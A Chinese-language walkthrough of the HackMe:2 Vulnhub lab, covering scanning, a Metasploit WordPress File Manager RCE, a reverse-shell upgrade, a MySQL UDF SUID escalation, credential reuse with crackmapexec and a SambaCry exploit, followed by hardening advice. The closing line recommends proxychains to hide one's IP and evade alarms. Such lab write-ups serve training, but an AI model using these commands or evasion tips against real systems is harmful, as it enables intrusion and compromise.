1. 靶机环境概述
HackMe:2是Vulnhub平台上发布的CTF风格渗透测试靶机,属于"从外网突破到内网提权"的经典训练环境。这个靶机延续了第一代的Web应用漏洞主线,新增了Active Directory域渗透场景,适合有一定基础的渗透测试学习者巩固技能树。
我使用VMware Workstation 16搭建实验环境,攻击机为Kali Linux 2023.3,与靶机处于同一NAT网络段(192.168.136.0/24)。靶机默认开放80、445等常见端口,需要依次突破Web应用漏洞、权限维持、横向移动和域控提权四个阶段。
2. 初始信息收集
2.1 网络扫描与端口探测
使用nmap进行全端口扫描的命令如下:
nmap -sS -p- -T4 192.168.136.132 -oN full_scan.nmap扫描结果显示开放端口:
80/tcp http 445/tcp microsoft-ds 3306/tcp mysql2.2 Web应用指纹识别
访问80端口发现WordPress站点,使用wpscan识别版本:
wpscan --url http://192.168.136.132 --enumerate p,t,u关键发现:
- WordPress 5.7.1(存在已知漏洞)
- 插件"File Manager" 6.0(含RCE漏洞)
- 用户admin、editor存在弱密码风险
3. 漏洞利用过程
3.1 Web应用突破
利用File Manager插件漏洞上传webshell:
msfconsole -q -x "use exploit/unix/webapp/wp_file_manager_rce; set RHOSTS 192.168.136.132; exploit"成功获取www-data权限的reverse shell后,立即升级为交互式终端:
python3 -c 'import pty; pty.spawn("/bin/bash")'3.2 权限提升路径
在/var/www/html/wp-config.php中发现数据库凭证:
define('DB_USER', 'wp_user'); define('DB_PASSWORD', 'S3cur3P@ssW0rd!');通过MySQL UDF提权:
SELECT sys_exec('chmod +s /bin/bash'); /bin/bash -p4. 域环境渗透
4.1 横向移动
在/etc/samba/smb.conf发现域控制器信息:
workgroup = HACKME server string = %h server (Samba, Ubuntu)使用获取的密码尝试域用户枚举:
crackmapexec smb 192.168.136.133 -u 'wp_user' -p 'S3cur3P@ssW0rd!' --users4.2 域控提权
利用Samba漏洞CVE-2017-7494:
msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOSTS 192.168.136.133; set SMB_USER wp_user; set SMB_PASS S3cur3P@ssW0rd!; exploit"5. 防御加固建议
WordPress安全配置:
- 及时更新核心和插件版本
- 禁用不必要的插件功能
- 配置Web应用防火墙规则
系统层防护:
- 禁用不必要的Samba共享
- 配置AppArmor/SELinux策略
- 定期审计SUID/SGID文件
域环境安全:
- 实施最小权限原则
- 启用LDAP签名/加密
- 监控异常身份验证行为
6. 常见问题排查
无法获取反向shell:
- 检查防火墙规则(
iptables -L -n) - 验证payload架构兼容性(
file /bin/bash) - 尝试不同连接方式(nc/meterpreter)
- 检查防火墙规则(
提权失败处理:
- 检查内核版本(
uname -a) - 查找可写目录(
find / -writable -type d 2>/dev/null) - 尝试其他提权路径(sudo -l, cron jobs)
- 检查内核版本(
域渗透受阻:
- 验证时间同步(
ntpdate -q) - 检查DNS解析(
nslookup dc.hackme.local) - 尝试其他协议(LDAP/Kerberos)
- 验证时间同步(
实际渗透时建议全程使用代理链工具(proxychains)隐藏真实IP,避免触发防御系统的报警机制。